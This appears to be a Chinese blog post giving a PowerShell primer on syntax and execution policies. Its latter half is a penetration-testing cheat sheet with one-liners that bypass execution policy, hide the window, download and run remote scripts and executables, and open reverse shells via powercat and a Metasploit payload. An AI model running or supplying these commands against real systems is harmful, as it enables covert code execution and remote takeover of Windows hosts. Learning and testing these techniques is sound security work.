赞
踩
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行,现在我们讨论的多数都时V2版本的powershell,因为V1的功能对我们来说把不够用,后续版本均向前兼容,所以使用v2即可。
变量通常以$开头,强类型,但是大小写不敏感
创建数组
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
创建哈希表(感觉和类或者C语言的结构体差不多的感觉)
$stu=@{ Name = "test";Age="12";sex="man" }
哈希表的插入和删除
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
对象
在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法
其他一些运算符
-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆
循环结构的话与其他语言差别不大
函数结构如下
function Invoke-PortScan { <# .SYNOPSIS 简介 .DESCRIPTION 描述 .PARAMETER StartAddress 参数 .PARAMETER EndAddress 参数 .EXAMPLE PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 用例 #> code }
powershell 有多种执行策略,若是执行时报错,除了语法之类的错误外,很有可能就能就是策略的问题,powershell有以下6种执行策略
查看本地策略
Get-ExecutionPolicy
更改策略
Set-ExecutionPolicy
更改powershell的脚本策略需要管理员权限执行,看提示可知,这是对注册表的内容进行更改。
cmd下使用powershell.exe 来执行脚本事可以执行的,无论powershell的执行策略是那种
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.220.129:8080/hello.ps1')
下面这种方式也可以,主要就是bypass 策略来执行。
powershell -exec bypass .\hello.ps1
ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64:把ps脚本编码成base64来执行,实战用的最多;
powershell.exe -exec bypass -W hidden -nop test.ps1
powershell下载文件到指定路径
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
下载exe,并且执行
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
下载远程powershell 脚本,并且带参数执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
反弹msf的shell
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
https://blog.csdn.net/weixin_45116657/article/details/103449931
https://www.anquanke.com/post/id/87976#h3-29
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。